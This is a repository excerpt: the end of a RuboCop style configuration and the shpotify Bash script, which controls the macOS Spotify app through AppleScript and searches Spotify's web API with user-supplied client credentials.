202 |   AllowSafeAssignment: true
203 | Style/BlockComments:
204 |   Enabled: false
205 | Style/ClassAndModuleChildren:
206 |   Enabled: false
207 | Style/InlineComment:
208 |   Description: Avoid inline comments.
209 |   Enabled: false
210 | Style/Alias:
211 |   Description: Use alias_method instead of alias.
212 |   StyleGuide: https://github.com/bbatsov/ruby-style-guide#alias-method
213 |   Enabled: false
214 | Style/Documentation:
215 |   Description: Document classes and non-namespace modules.
216 |   Enabled: false
217 | Style/DoubleNegation:
218 |   Description: Checks for uses of double negation (!!).
219 |   StyleGuide: https://github.com/bbatsov/ruby-style-guide#no-bang-bang
220 |   Enabled: false
221 | Style/EachWithObject:
222 |   Description: Prefer `each_with_object` over `inject` or `reduce`.
223 |   Enabled: false
224 | Style/EmptyLiteral:
225 |   Description: Prefer literals to Array.new/Hash.new/String.new.
226 |   StyleGuide: https://github.com/bbatsov/ruby-style-guide#literal-array-hash
227 |   Enabled: false
228 | Style/ModuleFunction:
229 |   Description: Checks for usage of `extend self` in modules.
230 |   StyleGuide: https://github.com/bbatsov/ruby-style-guide#module-function
231 |   Enabled: false
232 | Style/OneLineConditional:
233 |   Description: Favor the ternary operator(?:) over if/then/else/end constructs.
234 |   StyleGuide: https://github.com/bbatsov/ruby-style-guide#ternary-operator
235 |   Enabled: false
236 | Style/PerlBackrefs:
237 |   Description: Avoid Perl-style regex back references.
238 |   StyleGuide: https://github.com/bbatsov/ruby-style-guide#no-perl-regexp-last-matchers
239 |   Enabled: false
240 | Style/RegexpLiteral:
241 |   EnforcedStyle: mixed
242 |   AllowInnerSlashes: false
243 | Style/Send:
244 |   Description: Prefer `Object#__send__` or `Object#public_send` to `send`, as `send`
245 |     may overlap with existing methods.
246 |   StyleGuide: https://github.com/bbatsov/ruby-style-guide#prefer-public-send
247 |   Enabled: false
248 | Style/SpecialGlobalVars:
249 |   Description: Avoid Perl-style global variables.
250 |   StyleGuide: https://github.com/bbatsov/ruby-style-guide#no-cryptic-perlisms
251 |   Enabled: false
252 | Style/VariableInterpolation:
253 |   Description: Don't interpolate global, instance and class variables directly in
254 |     strings.
255 |   StyleGuide: https://github.com/bbatsov/ruby-style-guide#curlies-interpolate
256 |   Enabled: false
257 | Style/WhenThen:
258 |   Description: Use when x then ... for one-line cases.
259 |   StyleGuide: https://github.com/bbatsov/ruby-style-guide#one-line-cases
260 |   Enabled: false
261 | Style/FrozenStringLiteralComment:
262 |   Enabled: false
263 | Style/FormatStringToken:
264 |   Enabled: false
265 | Lint/EachWithObjectArgument:
266 |   Description: Check for immutable argument given to each_with_object.
267 |   Enabled: true
268 | Lint/HandleExceptions:
269 |   Description: Don't suppress exception.
270 |   StyleGuide: https://github.com/bbatsov/ruby-style-guide#dont-hide-exceptions
271 |   Enabled: false
272 | Lint/LiteralInInterpolation:
273 |   Description: Checks for literals used in interpolation.
274 |   Enabled: false
275 | 


--------------------------------------------------------------------------------
/spotify.sh:
--------------------------------------------------------------------------------
  1 | #!/usr/bin/env bash
  2 | 
  3 | # Copyright (c) 2012--2018 Harish Narayanan <mail@harishnarayanan.org>
  4 | #
  5 | # Contains numerous helpful contributions from Jorge Colindres, Thomas
  6 | # Pritchard, iLan Epstein, Gabriele Bonetti, Sean Heller, Eric Martin
  7 | # and Peter Fonseca.
  8 | 
  9 | # Permission is hereby granted, free of charge, to any person
 10 | # obtaining a copy of this software and associated documentation files
 11 | # (the "Software"), to deal in the Software without restriction,
 12 | # including without limitation the rights to use, copy, modify, merge,
 13 | # publish, distribute, sublicense, and/or sell copies of the Software,
 14 | # and to permit persons to whom the Software is furnished to do so,
 15 | # subject to the following conditions:
 16 | 
 17 | # The above copyright notice and this permission notice shall be
 18 | # included in all copies or substantial portions of the Software.
 19 | 
 20 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
 21 | # EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
 22 | # MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
 23 | # NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
 24 | # BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
 25 | # ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
 26 | # CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
 27 | # SOFTWARE.
 28 | 
 29 | USER_CONFIG_DEFAULTS="CLIENT_ID=\"\"\nCLIENT_SECRET=\"\"";
 30 | USER_CONFIG_FILE="${HOME}/.shpotify.cfg";
 31 | if ! [[ -f "${USER_CONFIG_FILE}" ]]; then
 32 |     touch "${USER_CONFIG_FILE}";
 33 |     echo -e "${USER_CONFIG_DEFAULTS}" > "${USER_CONFIG_FILE}";
 34 | fi
 35 | source "${USER_CONFIG_FILE}";
 36 | 
 37 | showAPIHelp() {
 38 |     echo;
 39 |     echo "Connecting to Spotify's API:";
 40 |     echo;
 41 |     echo "  This command line application needs to connect to Spotify's API in order to";
 42 |     echo "  find music by name. It is very likely you want this feature!";
 43 |     echo;
 44 |     echo "  To get this to work, you need to sign up (or in) and create an 'Application' at:";
 45 |     echo "  https://developer.spotify.com/my-applications/#!/applications/create";
 46 |     echo;
 47 |     echo "  Once you've created an application, find the 'Client ID' and 'Client Secret'";
 48 |     echo "  values, and enter them into your shpotify config file at '${USER_CONFIG_FILE}'";
 49 |     echo;
 50 |     echo "  Be sure to quote your values and don't add any extra spaces!";
 51 |     echo "  When done, it should look like this (but with your own values):";
 52 |     echo '  CLIENT_ID="abc01de2fghijk345lmnop"';
 53 |     echo '  CLIENT_SECRET="qr6stu789vwxyz"';
 54 | }
 55 | 
 56 | showHelp () {
 57 |     echo "Usage:";
 58 |     echo;
 59 |     echo "  `basename $0` <command>";
 60 |     echo;
 61 |     echo "Commands:";
 62 |     echo;
 63 |     echo "  play                         # Resumes playback where Spotify last left off.";
 64 |     echo "  play <song name>             # Finds a song by name and plays it.";
 65 |     echo "  play album <album name>      # Finds an album by name and plays it.";
 66 |     echo "  play artist <artist name>    # Finds an artist by name and plays it.";
 67 |     echo "  play list <playlist name>    # Finds a playlist by name and plays it.";
 68 |     echo "  play uri <uri>               # Play songs from specific uri.";
 69 |     echo;
 70 |     echo "  next                         # Skips to the next song in a playlist.";
 71 |     echo "  prev                         # Returns to the previous song in a playlist.";
 72 |     echo "  replay                       # Replays the current track from the begining.";
 73 |     echo "  pos <time>                   # Jumps to a time (in secs) in the current song.";
 74 |     echo "  pause                        # Pauses (or resumes) Spotify playback.";
 75 |     echo "  stop                         # Stops playback.";
 76 |     echo "  quit                         # Stops playback and quits Spotify.";
 77 |     echo;
 78 |     echo "  vol up                       # Increases the volume by 10%.";
 79 |     echo "  vol down                     # Decreases the volume by 10%.";
 80 |     echo "  vol <amount>                 # Sets the volume to an amount between 0 and 100.";
 81 |     echo "  vol [show]                   # Shows the current Spotify volume.";
 82 |     echo;
 83 |     echo "  status                       # Shows the current player status.";
 84 |     echo;
 85 |     echo "  share                        # Displays the current song's Spotify URL and URI."
 86 |     echo "  share url                    # Displays the current song's Spotify URL and copies it to the clipboard."
 87 |     echo "  share uri                    # Displays the current song's Spotify URI and copies it to the clipboard."
 88 |     echo;
 89 |     echo "  toggle shuffle               # Toggles shuffle playback mode.";
 90 |     echo "  toggle repeat                # Toggles repeat playback mode.";
 91 |     showAPIHelp
 92 | }
 93 | 
 94 | cecho(){
 95 |     bold=$(tput bold);
 96 |     green=$(tput setaf 2);
 97 |     reset=$(tput sgr0);
 98 |     echo $bold$green"$1"$reset;
 99 | }
100 | 
101 | showStatus () {
102 |     state=`osascript -e 'tell application "Spotify" to player state as string'`;
103 |     echo "Spotify is currently $state.";
104 |     artist=`osascript -e 'tell application "Spotify" to artist of current track as string'`;
105 |     album=`osascript -e 'tell application "Spotify" to album of current track as string'`;
106 |     track=`osascript -e 'tell application "Spotify" to name of current track as string'`;
107 |     duration=`osascript -e 'tell application "Spotify"
108 |             set durSec to (duration of current track / 1000) as text
109 |             set tM to (round (durSec / 60) rounding down) as text
110 |             if length of ((durSec mod 60 div 1) as text) is greater than 1 then
111 |                 set tS to (durSec mod 60 div 1) as text
112 |             else
113 |                 set tS to ("0" & (durSec mod 60 div 1)) as text
114 |             end if
115 |             set myTime to tM as text & ":" & tS as text
116 |             end tell
117 |             return myTime'`;
118 |     position=`osascript -e 'tell application "Spotify"
119 |             set pos to player position
120 |             set nM to (round (pos / 60) rounding down) as text
121 |             if length of ((round (pos mod 60) rounding down) as text) is greater than 1 then
122 |                 set nS to (round (pos mod 60) rounding down) as text
123 |             else
124 |                 set nS to ("0" & (round (pos mod 60) rounding down)) as text
125 |             end if
126 |             set nowAt to nM as text & ":" & nS as text
127 |             end tell
128 |             return nowAt'`;
129 | 
130 |     echo -e $reset"Artist: $artist\nAlbum: $album\nTrack: $track \nPosition: $position / $duration";
131 | }
132 | 
133 | if [ $# = 0 ]; then
134 |     showHelp;
135 | else
136 |     if [ $(osascript -e 'application "Spotify" is running') = "false" ]; then
137 |         osascript -e 'tell application "Spotify" to activate'
138 |         sleep 2
139 |     fi
140 | fi
141 | while [ $# -gt 0 ]; do
142 |     arg=$1;
143 | 
144 |     case $arg in
145 |         "play"    )
146 |             if [ $# != 1 ]; then
147 |                 # There are additional arguments, so find out how many
148 |                 array=( $@ );
149 |                 len=${#array[@]};
150 |                 SPOTIFY_SEARCH_API="https://api.spotify.com/v1/search";
151 |                 SPOTIFY_TOKEN_URI="https://accounts.spotify.com/api/token";
152 |                 if [ -z "${CLIENT_ID}" ]; then
153 |                     echo "Invalid Client ID, please update ${USER_CONFIG_FILE}";
154 |                     showAPIHelp;
155 |                     exit 1;
156 |                 fi
157 |                 if [ -z "${CLIENT_SECRET}" ]; then
158 |                     echo "Invalid Client Secret, please update ${USER_CONFIG_FILE}";
159 |                     showAPIHelp;
160 |                     exit 1;
161 |                 fi
162 |                 SHPOTIFY_CREDENTIALS=$(printf "${CLIENT_ID}:${CLIENT_SECRET}" | base64 | tr -d "\n");
163 |                 SPOTIFY_PLAY_URI="";
164 | 
165 |                 getAccessToken() {
166 |                     echo "Connecting to Spotify's API";
167 | 
168 |                     SPOTIFY_TOKEN_RESPONSE_DATA=$( \
169 |                         curl "${SPOTIFY_TOKEN_URI}" \
170 |                             --silent \
171 |                             -X "POST" \
172 |                             -H "Authorization: Basic ${SHPOTIFY_CREDENTIALS}" \
173 |                             -d "grant_type=client_credentials" \
174 |                     )
175 |                     if ! [[ "${SPOTIFY_TOKEN_RESPONSE_DATA}" =~ "access_token" ]]; then
176 |                         echo "Autorization failed, please check ${USER_CONFG_FILE}"
177 |                         echo "${SPOTIFY_TOKEN_RESPONSE_DATA}"
178 |                         showAPIHelp
179 |                         exit 1
180 |                     fi
181 |                     SPOTIFY_ACCESS_TOKEN=$( \
182 |                         printf "${SPOTIFY_TOKEN_RESPONSE_DATA}" \
183 |                         | grep -E -o '"access_token":".*",' \
184 |                         | sed 's/"access_token"://g' \
185 |                         | sed 's/"//g' \
186 |                         | sed 's/,.*//g' \
187 |                     )
188 |                 }
189 | 
190 |                 searchAndPlay() {
191 |                     type="$1"
192 |                     Q="$2"
193 | 
194 |                     getAccessToken;
195 | 
196 |                     echo "Searching ${type}s for: $Q";
197 | 
198 |                     SPOTIFY_PLAY_URI=$( \
199 |                         curl -s -G $SPOTIFY_SEARCH_API \
200 |                             -H "Authorization: Bearer ${SPOTIFY_ACCESS_TOKEN}" \
201 |                             -H "Accept: application/json" \
202 |                             --data-urlencode "q=$Q" \
203 |                             -d "type=$type&limit=1&offset=0" \
204 |                         | grep -E -o "spotify:$type:[a-zA-Z0-9]+" -m 1
205 |                     )
206 |                     echo "play uri: ${SPOTIFY_PLAY_URI}"
207 |                 }
208 | 
209 |                 case $2 in
210 |                     "list"  )
211 |                         _args=${array[@]:2:$len};
212 |                         Q=$_args;
213 | 
214 |                         getAccessToken;
215 | 
216 |                         echo "Searching playlists for: $Q";
217 | 
218 |                         results=$( \
219 |                             curl -s -G $SPOTIFY_SEARCH_API --data-urlencode "q=$Q" -d "type=playlist&limit=10&offset=0" -H "Accept: application/json" -H "Authorization: Bearer ${SPOTIFY_ACCESS_TOKEN}" \
220 |                             | grep -E -o "spotify:user:[a-zA-Z0-9_]+:playlist:[a-zA-Z0-9]+" -m 10 \
221 |                         )
222 | 
223 |                         count=$( \
224 |                             echo "$results" | grep -c "spotify:user" \
225 |                         )
226 | 
227 |                         if [ "$count" -gt 0 ]; then
228 |                             random=$(( $RANDOM % $count));
229 | 
230 |                             SPOTIFY_PLAY_URI=$( \
231 |                                 echo "$results" | awk -v random="$random" '/spotify:user:[a-zA-Z0-9]+:playlist:[a-zA-Z0-9]+/{i++}i==random{print; exit}' \
232 |                             )
233 |                         fi;;
234 | 
235 |                     "album" | "artist" | "track"    )
236 |                         _args=${array[@]:2:$len};
237 |                         searchAndPlay $2 "$_args";;
238 | 
239 |                     "uri"  )
240 |                         SPOTIFY_PLAY_URI=${array[@]:2:$len};;
241 | 
242 |                     *   )
243 |                         _args=${array[@]:1:$len};
244 |                         searchAndPlay track "$_args";;
245 |                 esac
246 | 
247 |                 if [ "$SPOTIFY_PLAY_URI" != "" ]; then
248 |                     if [ "$2" = "uri" ]; then
249 |                         echo "Playing Spotify URI: $SPOTIFY_PLAY_URI";
250 |                     else
251 |                         echo "Playing ($Q Search) -> Spotify URI: $SPOTIFY_PLAY_URI";
252 |                     fi
253 | 
254 |                     osascript -e "tell application \"Spotify\" to play track \"$SPOTIFY_PLAY_URI\"";
255 | 
256 |                 else
257 |                     echo "No results when searching for $Q";
258 |                 fi
259 | 
260 |             else
261 | 
262 |                 # play is the only param
263 |                 echo "Playing Spotify.";
264 |                 osascript -e 'tell application "Spotify" to play';
265 |             fi
266 |             break ;;
267 | 
268 |         "pause"    )
269 |             state=`osascript -e 'tell application "Spotify" to player state as string'`;
270 |             if [ $state = "playing" ]; then
271 |               echo "Pausing Spotify.";
272 |             else
273 |               echo "Playing Spotify.";
274 |             fi
275 | 
276 |             osascript -e 'tell application "Spotify" to playpause';
277 |             break ;;
278 | 
279 |         "stop"    )
280 |             state=`osascript -e 'tell application "Spotify" to player state as string'`;
281 |             if [ $state = "playing" ]; then
282 |               echo "Pausing Spotify.";
283 |               osascript -e 'tell application "Spotify" to playpause';
284 |             else
285 |               echo "Spotify is already stopped."
286 |             fi
287 | 
288 |             break ;;
289 | 
290 |         "quit"    ) echo "Quitting Spotify.";
291 |             osascript -e 'tell application "Spotify" to quit';
292 |             exit 1 ;;
293 | 
294 |         "next"    ) echo "Going to next track." ;
295 |             osascript -e 'tell application "Spotify" to next track';
296 |             showStatus;
297 |             break ;;
298 | 
299 |         "prev"    ) echo "Going to previous track.";
300 |             osascript -e '
301 |             tell application "Spotify"
302 |                 set player position to 0
303 |                 previous track
304 |             end tell';
305 |             showStatus;
306 |             break ;;
307 | 
308 |         "replay"  ) echo "Replaying current track.";
309 |             osascript -e 'tell application "Spotify" to set player position to 0'
310 |             break ;;
311 | 
312 |         "vol"    )
313 |             vol=`osascript -e 'tell application "Spotify" to sound volume as integer'`;
314 |             if [[ $2 = "" || $2 = "show" ]]; then
315 |                 echo "Current Spotify volume level is $vol.";
316 |                 break ;
317 |             elif [ "$2" = "up" ]; then
318 |                 if [ $vol -le 90 ]; then
319 |                     newvol=$(( vol+10 ));
320 |                     echo "Increasing Spotify volume to $newvol.";
321 |                 else
322 |                     newvol=100;
323 |                     echo "Spotify volume level is at max.";
324 |                 fi
325 |             elif [ "$2" = "down" ]; then
326 |                 if [ $vol -ge 10 ]; then
327 |                     newvol=$(( vol-10 ));
328 |                     echo "Reducing Spotify volume to $newvol.";
329 |                 else
330 |                     newvol=0;
331 |                     echo "Spotify volume level is at min.";
332 |                 fi
333 |             elif [ "$2" = "fadeout" ]; then
334 |                 if [$vol -eq 10 ]; then
335 |                     echo "Spotify volume already at 10%.";
336 |                 else
337 |                     step=$(( vol/10 ));
338 |                     currVol=$((vol-10))
339 |                     while true do
340 |                         if [step -eq 1]; then
341 |                             break ;;
342 |                         fi
343 |                         osascript -e "tell application \"Spotify\" to set sound volume to $currVol";
344 |                         currVol=currVol-10
345 |                         step=step-1
346 |                         sleep 2
347 |                     done
348 |                 fi
349 |             elif [[ $2 =~ ^[0-9]+$ ]] && [[ $2 -ge 0 && $2 -le 100 ]]; then
350 |                 newvol=$2;
351 |                 echo "Setting Spotify volume level to $newvol";
352 |             else
353 |                 echo "Improper use of 'vol' command"
354 |                 echo "The 'vol' command should be used as follows:"
355 |                 echo "  vol up                       # Increases the volume by 10%.";
356 |                 echo "  vol down                     # Decreases the volume by 10%.";
357 |                 echo "  vol fadeout                  # Fades the current volume down to 10%.";
358 |                 echo "  vol [amount]                 # Sets the volume to an amount between 0 and 100.";
359 |                 echo "  vol                          # Shows the current Spotify volume.";
360 |                 break
361 |             fi
362 | 
363 |             if [ "$2" -ne "fadeout" ]; then
364 |                 osascript -e "tell application \"Spotify\" to set sound volume to $newvol";
365 |             fi
366 |             break ;;
367 | 
368 |         "toggle"  )
369 |             if [ "$2" = "shuffle" ]; then
370 |                 osascript -e 'tell application "Spotify" to set shuffling to not shuffling';
371 |                 curr=`osascript -e 'tell application "Spotify" to shuffling'`;
372 |                 echo "Spotify shuffling set to $curr";
373 |             elif [ "$2" = "repeat" ]; then
374 |                 osascript -e 'tell application "Spotify" to set repeating to not repeating';
375 |                 curr=`osascript -e 'tell application "Spotify" to repeating'`;
376 |                 echo "Spotify repeating set to $curr";
377 |             fi
378 |             break ;;
379 | 
380 |         "status" )
381 |             showStatus;
382 |             break ;;
383 | 
384 |         "info" )
385 |             info=`osascript -e 'tell application "Spotify"
386 |                 set durSec to (duration of current track / 1000)
387 |                 set tM to (round (durSec / 60) rounding down) as text
388 |                 if length of ((durSec mod 60 div 1) as text) is greater than 1 then
389 |                     set tS to (durSec mod 60 div 1) as text
390 |                 else
391 |                     set tS to ("0" & (durSec mod 60 div 1)) as text
392 |                 end if
393 |                 set myTime to tM as text & "min " & tS as text & "s"
394 |                 set pos to player position
395 |                 set nM to (round (pos / 60) rounding down) as text
396 |                 if length of ((round (pos mod 60) rounding down) as text) is greater than 1 then
397 |                     set nS to (round (pos mod 60) rounding down) as text
398 |                 else
399 |                     set nS to ("0" & (round (pos mod 60) rounding down)) as text
400 |                 end if
401 |                 set nowAt to nM as text & "min " & nS as text & "s"
402 |                 set info to "" & "\nArtist:         " & artist of current track
403 |                 set info to info & "\nTrack:          " & name of current track
404 |                 set info to info & "\nAlbum Artist:   " & album artist of current track
405 |                 set info to info & "\nAlbum:          " & album of current track
406 |                 set info to info & "\nSeconds:        " & durSec
407 |                 set info to info & "\nSeconds played: " & pos
408 |                 set info to info & "\nDuration:       " & mytime
409 |                 set info to info & "\nNow at:         " & nowAt
410 |                 set info to info & "\nPlayed Count:   " & played count of current track
411 |                 set info to info & "\nTrack Number:   " & track number of current track
412 |                 set info to info & "\nPopularity:     " & popularity of current track
413 |                 set info to info & "\nId:             " & id of current track
414 |                 set info to info & "\nSpotify URL:    " & spotify url of current track
415 |                 set info to info & "\nArtwork:        " & artwork url of current track
416 |                 set info to info & "\nPlayer:         " & player state
417 |                 set info to info & "\nVolume:         " & sound volume
418 |                 set info to info & "\nShuffle:        " & shuffling
419 |                 set info to info & "\nRepeating:      " & repeating
420 |             end tell
421 |             return info'`
422 |             echo "$info";
423 |             break ;;
424 | 
425 |         "share"     )
426 |             uri=`osascript -e 'tell application "Spotify" to spotify url of current track'`;
427 |             remove='spotify:track:'
428 |             url=${uri#$remove}
429 |             url="https://open.spotify.com/track/$url"
430 | 
431 |             if [ "$2" = "" ]; then
432 |                 echo "Spotify URL: $url"
433 |                 echo "Spotify URI: $uri"
434 |                 echo "To copy the URL or URI to your clipboard, use:"
435 |                 echo "\`spotify share url\` or"
436 |                 echo "\`spotify share uri\` respectively."
437 |             elif [ "$2" = "url" ]; then
438 |                 echo "Spotify URL: $url";
439 |                 echo -n $url | pbcopy
440 |             elif [ "$2" = "uri" ]; then
441 |                 echo "Spotify URI: $uri";
442 |                 echo -n $uri | pbcopy
443 |             fi
444 |             break;;
445 | 
446 |         "pos"   )
447 |             echo "Adjusting Spotify play position."
448 |             osascript -e "tell application \"Spotify\" to set player position to $2";
449 |             break;;
450 | 
451 |         "help" )
452 |             showHelp;
453 |             break ;;
454 | 
455 |          * )
456 |             showHelp;
457 |             echo "MEH" > /tmp/meh.txt;
458 |             exit 1;
459 |             break ;;
460 |     esac
461 | done
462 | 


--------------------------------------------------------------------------------